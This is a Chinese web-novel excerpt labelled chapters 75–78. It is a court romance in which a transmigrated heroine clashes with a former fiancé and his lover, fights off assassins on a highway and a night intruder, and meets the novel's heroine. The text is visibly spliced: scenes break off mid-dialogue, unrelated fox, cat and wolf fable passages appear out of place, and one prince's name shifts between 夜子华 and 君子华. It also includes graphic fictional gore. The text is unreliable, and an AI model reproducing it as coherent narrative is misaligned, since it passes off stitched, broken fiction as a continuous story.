阿冤道:“既然知道她睡了,你为什么来打扰她,你都是有妇之夫了,还夜里打扰别人家姑娘,不知检点。” 胡淼淼能想象到某人顶着一张不检点的狐狸眼,一本正经挑挑拣拣说其他人不检点的模样,唇角不自觉微微上扬。 那日老夫人问阿冤可有婚配。 胡淼淼缓了好久才反应过来,她不知。 在古代,十三四的男子就已经有通房丫鬟了,更何况个阿冤看起来已经二十多岁。 那天,她在想,如果阿冤已有妻妾,她这算不算是抢了别人的丈夫? 这个问题困惑她许久,可转念一想,她只是需要个名头,又非真正夫妻,不会做夫妻之事,大不了成婚前多派些人手去查一下阿冤的家人。 在这之前,权当捡来个能做饭,能催眠的工具就好,如若真有妻子,他们之间就此结束,再找一个顺心的便是了。 心里有个声音告诉胡淼淼,阿冤这样的,就算失忆,也不会抛弃他曾经喜欢的姑娘,应该是没有妻子吧? 思绪不断放空,外面嘈杂声并没有结束,反而突然传来一阵惊呼:“公子?” 哐当—— 胡淼淼一惊,快速下床穿鞋跑出去,一开门,一道身影正巧撞了进来,砸得她后退几步,堪堪扶住了那人,一抬眼,正好撞入那双又惊讶、又委屈的狐狸眸中,阿冤眼尾红红的,湿漉漉的。 他吸着气,好听的声线带着小颤音告状: “之之,你醒了,他踹我!” 可委屈坏了。 “你长得像我认识的一条故狗。” 君泽琛:“?” 他眼睛危险地一眯,“你骂谁狗呢?你再骂一句?” 胡淼淼张嘴就来:“好狗。” 很好。 狼王大人大爪将小猫的脑袋按住,让她仔细看自己。 “你狼狗不分吗?” 第 75 章 第 75 章 有些猫是会碰瓷的,君泽琛被骂了,骂他的罪魁祸首反而像是被欺负的那一个,不等他行动就哭哭啼啼。 一边哭,一边骂他是好狗。 并且还很明确地说,她能分得清狼狗。 分清狼狗很简单。 狼,不翘尾巴。 狗,翘尾巴。 君泽琛那么一大坨趴在她面前,他冷酷且无情地问:“那你说,我是狼还是狗。” 胡淼淼哭得有些忙,百忙之中泪眼朦胧地看他一眼,鼻音明显,“是狼。” 叶水芸这几天一直跟在三王爷夜子华身边,如今更是天天往华贵妃那凑,意图讨好未来婆婆。 她出身低微,是商贾之女,注定很难得到贵妃娘娘认可。 但不是有三王爷护着她吗? 不管怎么样,她也是三王爷的救命恩人! 三王爷不会辜负她的。 然…… 胡淼淼的出现,让叶水芸心中警铃大作:“你不是都和琛王一起了吗?为什么还要来打搅我们的生活。” 胡淼淼笑了,这一笑,宛如皑皑白雪,绽放出红梅,漂亮而夺目,让叶水芸呼吸一窒,危机感越来越浓。 “琛王妃笑什么?” 像是要提醒她身份一般,叶水芸特意加重了琛王妃仨字,警示她和琛王在一起,与三王爷注定无缘,胡淼淼拢了拢衣裘,漫不经心道:“本妃在笑,真正打扰别人生活的是谁?” “我是三王爷……”救命恩人没说完,就被胡淼淼打断:“你们谁是谁什么本妃不感兴趣,本妃要告诉你的是,一个没名没分的你,凭什么到本妃这叫嚣?不守宫中规矩?嗯?” 既然有人先提出身份,胡淼淼就要不客气拿出来压人了。 平时她不会轻视任何人,任何身份,唯有这一次……她咄咄逼人了。 哪怕胡淼淼声音轻而缓慢,说出的话倒是极有分量,让叶水芸一震,她咬咬唇,“世人皆平等,你怎么能……” “平等?你想表达什么?对当今天下不满?” 胡淼淼缓了缓,心中好笑,平等吗? 在这个随时因为规矩而死人的时代,平等是最可笑的笑话。 皇权管制下,口不择言,可不会和你讲道理。 几乎是在胡淼淼话落,叶水芸身后的奴才们跪倒一地,唯有叶水芸狠狠瞪着胡淼淼。 “胡淼淼!” 一声冷漠的声音传来,夜子华下了早朝,想去母妃寝殿,必经之路却见到这一幕。 看起来羸弱的女人“高高在上”俯视他人,叶水芸被欺负的瑟瑟发抖,就连他派过去的丫鬟太监们跪了一地。 一看这场面,就知道谁欺负谁了! 胡淼淼听到熟悉的声音下意识一颤,随即无所谓回身笑了笑:“你该叫皇婶。” 这是他们闹掰后,第一次正式见面,却只以这种形式,再次见到那张容颜,君子华脸上有些恍惚…… 胡淼淼很美,哪怕她一直病容,单看一回眸,也让人心生怜淼,这点君子华不得不承认。 可是,这个女人,骗了他。 皇婶吗? 君子华带着一众下人抬步走了过去,一把揽住脸色不太好的叶水芸,冷漠的眼神看向胡淼淼:“你不过是他用来玩弄的工具罢了,以为上过皇家玉蝶,就把自己当回事了?你不过是本王抛弃过的弃妇。” “奉天承运,皇帝诏曰,将军之女德才兼备,却因华王失德,收回赐婚之约……”圣旨内容从胡淼淼淡粉色唇中传出,一字不差,最后她轻咳一声,补上一句:“若说被抛弃的那位,不见得吧?” 在场众人除了胡淼淼,其他人都非常难堪,下人们跪在地上,恨不得把自己埋进去。 三王爷的丑事,被听到了,是不是不太好? 君子华脸上难看,上前一步就欲要抬手。 “皇侄,本王劝你不要找死。” 雪不知何时下起,天气似乎更冷了些,阴冷得让人心寒的声音,让在场众人一抖,也成功让君子华动作一顿,上次的伤口在身上隐隐作痛。 “哒哒哒……” 沉稳的步伐,踩在雪地上,浓重压迫感袭来,像是踏在众人心头。 男人穿着玄黑色长裘,随着走动被风吹的呼呼作响,黑发微微扬起,脸色邪肆张狂带着不可一世,鹰眸扫过之地,让人背脊发寒,然而就是这样的人,在落到某点的时候,眼中气场回转,戾气尽散…… 他身后跟着一个小丫鬟,是彩衣。 君泽琛下朝后就惦记回将军府,彩衣不敢堂而皇之在殿前等候,在身后默默跟着,直到人迹罕见的时候,差点被发觉有人跟踪的男人斩断了脑袋。 身居高位,总有人不分场合想要杀君泽琛,这已经成为了一种习惯, 好在君泽琛眼疾手快,认出了她,才留下彩衣一命。 也因为这样,同样下朝的君泽琛,比君子华,要晚一步,就这一会,差点让他的宝贝叫人欺负了去。 某人殊不知,他家宝贝看起来羸弱,骨子里去有也不是好欺负的,把门多宫人在这,又不是华王府,不可能在出现当初狼狈的一幕。 君泽琛快步上前,上臂一捞解开披风长裘,披在那羸弱的身躯上,遮住漫天风雪。 很好,胡淼淼又胖了一圈。 身上传来一阵阵暖意,还带着男子霸道的气息,热烈而霸道,胡淼淼轻咳一声:“你来了。” 你来了,三个字从她口中传出轻飘飘的,落在君泽琛心头却重如千斤。 男人掩盖眼中的狂热,柔声道:“嗯,来了。” 随即他扭过头,神色一戾:“刚下早朝,皇侄迫不及待找死?” 瑟瑟发抖的下人:“……” 他们心中古怪,却又说不出来,只知道琛王性格未免也太多变了点吧,上一秒温温柔柔,下一秒就……凶残横暴…… 他们不知道,有一个词叫“双标”。 君子华呼吸一窒,叶水芸惊呼一声缩进他怀中。 没办法,这个琛王给她留下太多阴影面积,现在一看到这个人,她身上就有被扎了一般的疼痛,就连钗子,都要那种不扎人的。 女人在旁,君子华大男子主义泛滥,当下就支棱起来。 “皇叔不应该问问,你身边的女人到底做了什么?” 他自认为,琛王还不够了解胡淼淼,不知道她表面娇弱下,是怎样的嘴脸,要是琛王知道胡淼淼为了和其他男人在一起,不淼欺骗他,是个男人都忍受不看的。 不等君子华开口,君泽琛搂着胡淼淼,散漫地抬了抬眼皮:“不!” “什么?”君子华一愣。更何况,她是真心觉得,不应该让琛王为自己的事情生气,倒不如早点回府上,何必跟这两个人一般计较? 她自己,早晚会收拾他。 胡淼淼突如其来的亲热,让正要怼君子华的君泽琛手足无措,一手下意识抱紧,拿着簪子的手差点把自己戳个洞。 温香软玉在怀,哪怕隔着一层层布料,他也有些欣喜。 甚至有些想仰天长啸分享自己的喜悦。 没人能理解他的感受,喜欢的人那么久,却只敢背后仰望,期盼着那人一次回眸,曾经,她却一次次投入那个人怀抱,最后落得那般下场…… “好……”一声沙哑的呢喃,在雪地里响起,这一刻,他不愿再计较其他,只想把人带回家,一直看着她。 二人之间的腻味,不知为何,君子华觉得有些刺眼。 一直到二人离开,他都不曾回神,总感觉流逝了什么不可挽回的东西…… 长袖被拽了一下,他回神,就见叶水芸红着眼睛看着自己:“三王爷?” 一定是那女人伪装的模样让他恶心才导致出现错觉,君子华想着,压下心中的恼意,哄着叶水芸去见华贵妃。 然而如往常一样,叶水芸被赶出来了,冰天雪地,君子华虽心有不忍,但还是听母妃的,进了内殿,把叶水芸留在外间。 他想,胡淼淼一个将军之女曾也这般,水芸一商贾之女,不会怪他的。 “本王不想知道,不管她什么样,都是你皇婶。”他顿了顿,嘴角勾出一抹冷酷的笑意:“比起这个,我更想知道,你的女人,怎么还没死?还敢在本王妻子面前添堵。” 他指尖动了动,又拔掉了胡淼淼的簪子,把玩在手中,笑看其他人,阴恻恻道:“是先割掉嘴,还是先戳瞎眼?” 胡淼淼:“……” 她视线幽幽看一眼那只簪子,在心中默默叹了一口气,罢了,谁让他是为了自己出气呢,就给他玩好了,反正都是他的。 叶水芸被他盯得一阵毛骨悚然,这一刻仿佛呼吸都有冰渣子,让她一抖,想要说话,却只说个气音,在胡淼淼面前叫嚣模样全无,那张和胡淼淼一样的脸,因为害怕,竟脸气势也更加相似了。 君子华心生怜淼,手紧了紧,冷冷盯着胡淼淼:“好本事,短短几天就能把琛皇叔哄得团团转。” 冷不丁被攻击到,对他,胡淼淼提不起半点感情了,反而是…… 身边有君泽琛,让胡淼淼对君子华产生了厌恶情绪,这次,她在君泽琛开口维护前,向后一靠,整个人软软都窝在他怀中,她不与君子华争辩,而是柔柔看着君泽琛:“冷,不听狗吠可好?” 君子华说她哄,她不哄两声,岂不是很冤枉? 他的声音哑然而止,胸腔里传来一声低沉的闷哼。 空气倏然寂静。 下一秒,灰猫也是一个弹跳,随即飞快消失在小狐狸面前,远远听见一声暴呵:“胡淼淼!你个笨狐狸!你且给我等着。” 小狐狸还维持着掏爪的动作,她爪子在爪垫里伸伸缩缩,疑惑不解。 果子怎么是软的,坏了吗? 不过她意识到自己可能闯祸,拔腿就向他相反的方向跑。 胡淼淼是谁,笨狐狸是谁,狐不认识。 不知道,灰猫没教。 第 76 章 第 76 章 小狐狸自知闯祸,跑了很远。 然后挨揍了。 被灰猫千里迢迢抓回来一顿胖揍。 其实比起那些狐狸的凌虐,灰猫的猫猫拳不算什么,只是小狐狸在灰猫手底下觉得委屈,嘤嘤嘤装可怜。 因为她知道,灰猫和狐族不一样,狐族是真恨她。 灰猫和她无冤无仇,如果想要杀她早该动手,根本不会等到现在。 胡淼淼出来看见的就是这一幕,男人似雪的白衣,乱糟糟地沾满,仿佛被什么人撕扯踢打了,泼墨般的长发披散在身后,有几缕不听话地垂在脸颊,配上那张委屈的容颜有一种说不出的破碎感。 她以为彻夜未归这个小粘人精会发脾气,哄不好的那种。 却从未料到,会以这种场面再次相见。 虽然气他离家出走,但先是府上下人排挤,再到流落街,到底说不出责骂的话。 “哪里受伤了?” 她缓步走到他们身边,从赤澄手上把人接过来,扶着他,上上下下打量,没看见伤口才松了一口气。 余光瞥向赤澄 ,“这位是?” “遇见了一个夜叉,她对我图谋不轨,她带的人多我打不过,多亏了这位公子相助。”君泽琛丝毫没有自己个子高的自觉,恹恹地靠在胡淼淼肩膀上,脑袋一埋,活像家养的狗崽子去外面和别人家狗打了一架,关键还打输了,夹着尾巴回来找主人自闭。 赤澄:“???” 胡淼淼观赤澄身材高大,浑身腱子肉颇有爆发力,看起来憨憨的,可其中隐藏的血性还是让她蹙眉,她把警惕留着心里,装作未曾察觉,招待人去南厅。 “多谢公子相救,不然我还不知如何找到他,不知你遇见他的时候都发生了什么?” 从进胡府到现在,赤澄都麻着一张脸,胡淼淼这么一问更有点发蒙。 他不知道啊! 正踌躇之际,突然感觉周身发冷,他似有所感看向门口,正好看见贴着人家姑娘的主子在此女子看不见的角度冷冷睨着他。 他一激灵,想到之前主子说的那句话,顺势道:“没什么,不过是路见不平拔刀相助,我正巧回京城遇见这位兄弟被欺负……” “说来啊,我这些年从来没碰见过那种女子,见到男人都走不动步啊,她身着黄衣骑着马,手里扬鞭子要抽人,为了美色强抢民男她是不要命了。” 同样为了美色强捡民男的胡淼淼:“……” 她揉揉眉心,大概所有人都觉得她只贪阿冤美色没打算和他成婚,才导致阿冤这么没有安全感跑出去。 是她思虑不周了。 说成亲就成亲,人家梁昌荣都定好日子了,她还犹豫什么? 一个身份而已,给他便是,各有所需。 思及此处,胡淼淼正要开口提这件事,却不想守门的小厮跑进来。 “小姐不好了,府外来了一个黄衣女子,骑马扬鞭,看起来是闹事的。” 胡淼淼到嘴的话憋了回去,惊讶道:“人都追胡府上了?” 君泽琛瞬间望向赤澄,赤澄一脸更懵了。 主子还找托儿了? 君泽琛瞪他,等会那女子说没见过他们要怎么解释? 成事不足败事有余。 赤澄也很无辜,谁知道会突然冒出来一个跟他胡编乱造一模一样的女人啊 君泽琛眼疾手快,捂住了腹部,如画般的眉眼透着脆弱,“之之,我肚子疼,好像是被那女人伤到了。” “我先去解决你留下的烂摊子,府上有大夫,小荷快带阿冤去看看哪里受伤,这位赤公子,先劳烦稍等,我去去就回。”胡淼淼抽空瞅君泽琛一眼,见应该问题不大,起身出去。 动她的人就算了,还上府抢人,让她看看有没有那个本事儿。 胡家门口今日格外热闹,先有梁家少爷断了腿,后有红衣美男受了伤,眼下又来了一个骑马的夜叉,路过的百姓小心翼翼探头,然后赶紧走,深怕被殃及无辜。 当然永远有看热闹不嫌事大的遥遥往这边看望。 只见黄衣女子骑着一匹红鬃烈马,英姿飒爽,手里拿着一条长长的鞭子,利落的马尾扎在脑后,小麦色皮肤,眉眼之间英气勃-发,看起来十分不好惹。 “这人怎么有点眼熟?” 像这样的女子平时很少见,只要见一次便会毕生难忘,有人看了两眼突然开口:“这人不是垄将军的女儿垄大小姐吗?” 当朝第一猛将垄将军常年镇守边关之地勾塞凉城,那可谓是西北攻击承启国第一防守要地。 作为他的女儿,垄鹂在边关长大,听闻对方到了成婚的年纪,垄将军担心在边关找不到好夫君,近日把她送回京城。 胡淼淼不曾听说过这些,原著里也没注意,倒是想起来之前去过的安家好像和垄将军府有姻亲关系。 见到胡淼淼出来,女子居高临下看着她,“你就是胡家大小姐胡淼淼?” 果然来者不善,胡淼淼抬了抬眼,“正是,不知姑娘所为何事?” 垄鹂那张绷着的脸突然笑了。 鞭子一收,跳下马,充满野性的眼睛上上下下打量胡淼淼。 有一种被什么野生动物盯上的错觉。 终于,对方有了动作,这位和之前认识的女子不一样,应该要动武,胡淼淼第一时间按住对方的手腕。 垄鹂一愣,然后像是反应过来,手腕一转,用力拉住胡淼淼把人拽过来,顺势姐俩好似的揽住人肩膀拍两下,笑哈哈开口,“还以为京城女子都很柔弱,你看起来也是,没想到手劲儿不小,怎么姐妹,有兴趣一起去逛青楼吗?” 急匆匆赶来的君泽琛:“!!!” 围观以为要打起来的众人:“???” 准备干架的胡淼淼,“???” 她难得流露出错愕的表情,怀疑自己耳朵听错了。 这姑娘为什么见面就要去那什么青楼? 余光瞥见阿冤愣着原地的身影,胡淼淼觉得还是得解释一下。 “这位姑娘,你我素不相识,为何要一起去逛青楼……” 垄鹂,“我是垄鹂,现在认识了吧?我听安表姐提起过你,有钱确实能无所不能,不知道你的小相公听不听话,不听话这次去楼里我帮你选一个?你不知道,家里最近都在催婚,我也想像你一样洒脱,你看起来文文静静的点子倒是不少,根本不像京城那些磨磨唧唧的闺秀。” 垄鹂打小就叛逆,回经常后在一众女眷里并不讨喜,可谓是第一次见到发言如此逆天的,于是今天安顿好便前来结交。 胡淼淼的话已经在京城一众千金中传开了,有人鄙夷有人艳羡。 总之,垄鹂终于找到一个自认为不错的知己。 胡淼淼的样貌太有欺骗性,刚开始还以为跟那些千金没什么不同,只是五官更精致了些看着舒坦,直到刚才被握住的时候、她感觉自己的手腕都快捏断了,比军营里面的那些汉子手劲还大。 垄鹂说话间看一眼自己的手腕,豁都有点肿了。 胡淼淼知道自己误会了。 “抱歉,我以为你要找我…切磋。” 垄鹂惊讶,“你怎么会这么想?” 当然是你想抢我男人啊。 等等,胡淼淼像是想到什么,回头看向身后。 嘴角一抽,“这位垄姑娘,你说的小相公刚才听话,现在好像不怎么听话了。” 因为君泽琛已经把垄鹂的话全听到了耳中,天阴下来,云朵遮挡住火热的阳光,男子站在阴影之下,衣服依旧是破破烂烂,墨发披散在身后,配上哀怨愤怒的脸,活脱脱地府妖娆彼岸花之中爬出来的艳鬼。 怨气太重,垄鹂也注意到了对方,她眼底闪过一抹惊艳,好似第一次见到一样。 胡淼淼疑惑,他们不是见过吗? 垄鹂很快收回视线。再次拍拍胡淼淼的肩膀,“没事儿,让他闹,你再给他找几个兄弟。” 这话听的耳熟,胡淼淼一想,不正是当初去安家宴会时候说的吗? 垄大小姐到底打听多少话? “改日吧姑娘,今天府上出了点事儿,改日我一定约你出去逛。” 再聊下去后背都快被某人的视线盯成筛子了。 “这样啊!”垄鹂虽然有些失望,但还是点点头,“好,我过些时日找你。” 她性子一向耿直,但好不容易碰见一个能交往的女子,不出意外将来会是手帕之交,可别把人吓跑。 目送黄衣女子翻身上马飒爽的离开。 胡淼淼长舒一口气,“阿冤。也不像是你们说的夜叉啊,看起来挺好的姑娘。” 虽然事情没暴露,但是君泽琛不是很开心。 跟在屁股后出来的赤澄吞了吞口水,“胡…胡姑娘我有点事,既然公子已经平安送回来,那我先走一步,有缘再会。” 胡淼淼还没道完谢,可赤澄跟被猫撵的耗子似的,在跨出胡府大门的一刻撒腿就跑,甚至还用上了轻功。 守门的小厮察觉到气氛不对劲,默默走到两侧躲好。 一时间就剩下胡淼淼和君泽琛二人,不知是不是错觉,现在阿冤和往日有点不一样。 他干嘛生气? 她委委屈屈抱着尾巴,眼泪在眼睛里打转,小声嘀咕,“又不是吃你元阳,你护个什么劲儿。” 灰猫:“……” 灰猫亮出爪子,在她面前比比划划,做出一个咔嚓的手势,语气阴恻恻,“你再说?” 小狐狸瞬间老实了。 不吃就不吃,凶什么凶,大坏猫。 哼! 第 77 章 第 77 章 解决完不听话且令猫头痛的小狐狸,灰猫吩咐自己有事情要出去几天,她在家里乖乖待着不要乱跑。 从灰猫出现到现在会经常消失,有时候狐狸也怕灰猫丢下她,想死皮赖脸跟定他,可是灰猫有一种很奇怪的能力,和小狐狸们玩的草球一样,biu地一下就没了。 渐渐地小狐狸早就习惯了。 她随意地晃了晃尾巴,示意他去吧。 灰猫就像是老父亲,走之前絮絮叨叨,不许和陌生妖说话,远离陌生妖,不准偷懒,要练习狩猎不然就会饿肚子。 就在狐狸耳朵都快起茧子之际,灰猫终于在狐狸的催促下离开。 青天白日,官道上的那群人无所顾忌直接奔向马车。 胡家人乱作一团。 胡淼淼迅速来到老夫人身边。 胡家出府有带家丁,可是比起这些人根本不够看的。 夏小荷惊慌失措守在胡淼淼前面,“小姐怎么办?” 无论是陵川还是京城,夏小荷从未遇见过这种情况。 她不知对方身份,猜测是知道胡家有钱,前来劫财的强盗。 这可是官道,强盗这么明目张胆的吗? 夏小荷吓得哆嗦! 正巧两个刺客拿刀奔她们而来。 “小姐!!!” 夏小荷叫破了音。 马车内的老夫人失去了以往的沉稳,撑着身子想要冲出来。 她不喜欢胡淼淼的母亲,但那也是她儿子唯一的血脉。 就算拼了老命,也不能让胡淼淼年纪轻轻死在她面前。 然而出乎意料,刺客的刀子即将落在胡淼淼身上之前,胡淼淼侧身躲过,用力攥住那人的手腕,借力腾空而起,踹向另一个人,罗裙翻飞,犹如一只蓝色蝴蝶流连于人群迎刃有余。 看见这一幕的人都吓了一跳,他们印象中,胡淼淼可一直都是文文弱弱的姑娘。 未曾想竟然会了拳脚功夫,看见人高马大的歹人拿刀丝毫不畏惧,跟人家打了起来。 莫不是去陵川三年跟别人学的? 换作以往,他们一定呵斥姑娘家不成体统,但眼下的情况,他们却不得不承认。 女子学一些防身之术还是有用处的。 只是……这防身之术是不是太强了点? “呕!” 在胡淼淼夺过对方武器,用剑柄直接锤爆了对方脑袋后,有一个丫鬟控制不住干呕了起来。 大小姐,也太残暴了…… 胡淼淼也觉得自己没控制住下手重了一点。 对方的头比较硬,没有丧尸酥脆,而且脑浆崩出来有几滴弄袖子上,黏腻腻的感觉很不爽。 趁着躲开攻击的空隙,她把袖子用刀割下来,丢到另一个人脸上。 砍过来的刺客呼吸一窒,显然不是所有人都适应同类的脑浆。 胡淼淼瞥一眼,“你朋友的东西有什么好嫌弃的。” 刺客:“……”就问这玩意儿谁不嫌弃? 可惜他没机会说话就被捅了一刀。 另一边,胡府已经有人受伤,对方人多势众靠胡淼淼一个人显然不行。 “救命!你们想要多少钱,本少爷给你们。娘!” 梁昌荣抱头鼠窜,一名家丁被他拽来当挡箭牌。 胡淼淼蹙了一下眉,观察刺客的走向,他们重点攻击对象一是冲着她来,剩下的就是梁昌荣那边。 余光瞥见还算平静的母女俩,胡淼淼好像懂了什么。 过了一会,那些人显然知道拿胡淼淼没办法,互看一眼,更多人围住了她,两三个人直接袭向老夫人那边。 他们注意到胡淼淼一直守着这个老太太,想从老夫人身上下手。 胡淼淼见状眼底闪过一抹冷意,末世里,比起丧尸更难对付的就是人心。 她一向讨厌这种麻烦。 她确实可以救下老夫人,但会把背部交给敌人。 胡淼淼来到这个世界和老夫人见面不多,每次见面称不上愉快,但是,如果原主那个心软的小姑娘还在,是绝对不会让人受伤的吧。 千钧一发之际,胡淼淼转身奔向刺杀老夫人的三人,刺客蒙面下的嘴角勾出计划得逞的笑,淬了毒的刀狠狠捅过去…… 一阵马蹄声裹挟着衣袍猎猎作响,尘埃落定时,胡淼淼背后一道黑色的身影闪现,马蹄无情的踏碎胡淼淼背后之人的胸腔。 滚烫的血液以及内脏四处迸溅,那人连惨叫都未曾来得及,就已经死在马蹄下。 夹杂血腥味的空气以及惨烈的画面定格。 胡府的人,包括被追杀的梁昌荣,再也忍受不了,腿一软跪倒在地。 一切发生得太过突然,刺客们都被吓傻了。 不知是有意无意,其中一名刺客的手被马上的人踹了一脚,刀脱手而出,好巧不巧落地时扎入梁昌荣小腿上,顿时一阵惨叫惊醒了所有人。 刺客见又来一个厉害人物便知事情不妙,赶紧带人撤退。 男人本来想去追,余光像是瞥见了什么顿在原地,任由他们跑了。 胡淼淼解决老夫人身边的人,发现老夫人早就吓晕了过去。 “看好老夫人!”她对夏小荷道。转身仰头望向刚才帮她解决危险的人。 男人黑衣染上了血迹,始终未曾下马,紧身衣之下包裹着精壮修长的身躯,冰冷的獠牙面具在温暖的阳光下,依旧透着冷芒。 浑身上下犹如一只猎豹,充满爆发力。 此时他正坐在马上,居高临下看着胡淼淼。 胡淼淼总感觉此人很熟悉,可那十分危险的直觉告诉自己,如果见到这种人绝对不会没有印象。 他的面具覆盖全脸,唯独露出了眼睛,好似涂了毒的刀刃,妖冶邪佞,不好招惹。 站在遍地死尸的官道,胡淼淼仰头,唇角勾出惯有的弧度,“多谢!” 她能感受到,对方的视线在打量自己,恨不得全方位无死角检查一遍,不知道还以为她身上有什么脏东西。 哦,确实很脏,胡淼淼表示以后杀人再也不爆头了,对付丧尸的坏习惯得改。 顶着男人压力十足的眼神,胡淼淼竟然有几分心虚,默默把坏了袖子的手背在身后。 男人盯着她的动作未曾说话,确认她没受伤后,从鼻腔里沉沉地冷哼一声,无视众人,骑马扬长而去好像真的只是路过。 胡淼淼被马留下的灰尘扑了一身。 她:“……” 豹子很讨厌,还是狐狸香! 不过不知是不是胡淼淼的错觉,总感觉血腥味掩盖之下有一种熟悉的香味。 不等她多想,另一边梁昌荣哀嚎,胡海香心疼的要死。 “愣着干什么?没看见少爷受伤了吗?快回京城,不然腿都要废了!” 梁昌荣小腿上插着一把刀,应该是伤到了骨头,疼的动都不敢动一下,存活下来的下人不敢拔,手忙脚乱扶把他搬上车。 老夫人还在昏迷,地上又一堆烂摊子,道上的其他人远远地绕着走,此处距离京城已经不远了,胡淼淼让他们先回去,自己则先留着这里。 刚才胡府的下人被梁昌荣抓去挡刀受了伤,有一个叫衡二的伤到要害,根本不能移动。 胡淼淼在衣服上撕开几块步,帮他们包扎伤口依旧无济于事。 他们在入胡府为下人的时候,已经签了卖身契,在古代的下人多数任由主子打杀,也不算什么稀奇事儿。 下人虽然被人推出去挡刀有怨言,但知道和胡淼淼无关。 “小姐,是小的命数如此,您还是别浪费力气了,快走吧,当心他们又回来……唯一的遗憾…小的想请小姐帮忙,把…房中这些年…存的银子送回……老家…” 比起其他人,这个人的腹部被刺穿,现代或者能救回来,可这是古代…… 胡淼淼轻微蹙眉。 正在这时,一道犹如春风的嗓音在身后响起。 “或许,我可以试试。” 胡淼淼回头,白衣女子下了车,她面如出水芙蓉,眉眼之间的红痣透着悲悯,犹如救死扶伤的菩萨转世。 胡淼淼呼吸一窒,想到原著中的某个片段。 【梁昌荣终于如愿以偿拿下胡家,甚至连一些大臣之子都对他刮目相看,一时之间春风得意,除了在家要面对那张天天哭丧的正妻,其他都快活似神仙。 然而早上晦气,碰见一个乞丐,派人上去狠狠教训一顿,打到一半被人制止,正要看是哪个不长眼睛的,一抬眼满是惊艳。 女子白衣似雪,貌美如天仙下凡,眉宇间一点朱砂,成为他一生的朱砂痣,到死依旧忘不了初见的那一幕。】 女子背着药箱走过来的那一刹那,胡淼淼也有些移不开眼。 原来,剧情已经开始了。 只不过梁昌荣刚好错过,第一眼看见她的是自己。 胡淼淼无声吐出两个字:女主。 随着女子的到来,一种如同冰雪融化的清香,胡淼淼又升起熟悉感,又不知在哪闻过,难道刚才女主就来了? 和她刚才在充满血腥味的空气里闻到得很像。 雪无双走到她面前蹲下,毫不嫌弃地上的血,把药箱放在地上,然后轻柔的帮下人处理伤口。 “放心,有我在。” 胡淼淼当然放心,这可是女主角啊。原著里虽然没明确描写男女主的感情线,但女主却一直跟着男主身后,帮男主疗伤来着。 男主伤筋断骨跌打损伤全靠女主。 妥妥工具人。 进入这个世界,君泽琛发现,旁人看不见他,但是无论是小狐狸,还是十几年前的自己,都可以和他接触。 一场跨越时空的战斗持续很久,这一战酣畅淋漓。 只是……狗毛和猫毛满天飞 。 一狗一猫同一时间想到了什么,瞬间收了手飞至一旁。 毛如细雨纷纷落下,他们看着对方如狗啃了似的皮毛,脑海中不约而同浮现出两个字: 完了。 第 78 章 第 78 章 狐/猫是一种爱美的生物。 她们虽然嫌狼毛扎爪,但还是喜欢狼/猫的一身皮毛,至少外观好看 一狼一猫不约而同的想着:该死的,那只小东西不会嫌弃他吧? 他们彼此互看一眼。 休战! 灰猫警告:“你给我洁身自好,不要乱搞,哪怕是谣言也不行。” 趴在屋顶的君泽琛:“……”又不小心惊动一个。 他正要窜走,那人从窗户跳出去,一个闪身,竟然出现在寻找黑影的胡淼淼面前。 这时候君泽琛已经顾不得会不会被发现了,她遇见危险就算被发现,也不会做事不理,他直接起身准备下去。 然而下一秒,他家之之反腿就是一脚,一声惨叫,那刚出来的人就猝不及防躺尸了。 君泽琛:“……” 担心一起挨揍,他默默缩了回去,警惕盯着下面的二人准备随时帮忙。 胡淼淼找了半天黑影,没想到对方直接从旁边的窗户跑出来。 对方显然也始料未及,不过反应没有胡淼淼快,硬生生挨了一脚,整个人都被踹懵了。 胡淼淼一边观察黑衣人,一边看向窗户内。 王梦瑶正一脸错愕,反应过来用帕子捂住嘴,“大小姐小心,这贼人闯入我房间欲图谋不轨。” 胡淼淼似笑非笑地瞅她一眼,地上的人爬起来,想趁着胡淼淼和王梦瑶说话解决胡淼淼,他从腰间掏出一把刀,冷冽的寒芒在黑夜中透着几分冷意,直接向胡淼淼的腹部捅去…… 胡淼淼正要躲开,正巧房顶瓦当脱落,好巧不巧直接砸在黑衣人的手上,胡淼淼一愣,随即毫不犹豫按住那人的手腕,反刺过去。 直接刺伤刺客的肩膀,血液迸溅而出,溅了一地。 “啊——” 王梦瑶好像未曾见过这种场面,短促的尖叫一声。 黑衣人此次不过是报信的,如今自己受了伤,知道再这样下去不但灭不了口,还容易把自己搭进去。 此地不宜久留。 他用力挣脱,惊讶地发现这女子看似柔弱,力气竟然如此之大,而且还招招下狠手,左臂受了伤,差点拿不住刀剑。 不能再拖了。 男人从包里掏出一包药东西迅速向胡淼淼撇去。 胡淼淼一脚踢在他腹部,借力迅速翻身,屏住呼吸。 对方趁现在脚尖一点,飞上房顶。 胡淼淼目光一冷,顿在原地。 她在末世三年,不会什么古代武功,全靠生死之间的发挥的狠劲和技巧,为了抓活的当然不能直接爆头。 可是对方跑上去,她也不会飞啊,攀爬上去,对方已经跑远了。 贼人很快发现这一点,冷哼一声打算离开,然而下一秒脚腕一紧,他直接被拖倒,抬头时一个诡异的“鬼脸”映入眼帘。 黑漆漆的仿佛能和夜色融为一体,在月光下偶尔会反光,夸张的鬼画符脸谱呲呲着獠牙吓得刺客浑身一震,肩膀上的伤口更是噗嗤噗嗤冒血。 君泽琛幽幽盯着他看了两秒。 然后揪住了他的领子,哪来的丢回哪去。 哐当—— 一个令牌掉到了房顶,君泽琛眯了眯眼睛。 另一边,胡淼淼见人又掉下来了,反应迅速,在贼人一脸懵逼之际,一脚踩在人脑袋上,对方惨叫一声直接晕了过去。 她看一眼房顶,黑黝黝一片什么也没有。 大晚上弄出这么大动静,只要人没睡死,就不会不知道。 今夜巡查的和尚赶了过来,胡家人也纷纷推开门查看。 老夫人看见胡淼淼脚踩个人头眼前一黑,直接晕了过去。 梁昌荣主仆二人脸色苍白如纸,活像踩的是他们。 香夫人直接尖叫,指着胡淼淼质问:“到底怎么回事儿?进贼了?刺客?” 胡淼淼收回腿去扶住老夫人回房间,示意一旁傻愣着的王梦瑶,“她房间里出来的,问我不太好吧?” 胡海香好似抓到把柄,神色很激动。 “我就知道,你这个丧门星,幸亏当年海林没娶你不然死的更早,你闺女还想嫁给我儿子?做梦吧你!一对儿丧门星!” “自从我儿子要娶王芋儿连续落了两次水,现在还弄成这副模样,今儿又出现贼人夜袭,日子就没消停过!” “这门婚事我不同意,谁知道下次会出现什么?” 上次脸皮撕开后,胡海香和王梦瑶互看不顺眼,好不容易逮住机会往死里奚落,王梦瑶脸色不好看。 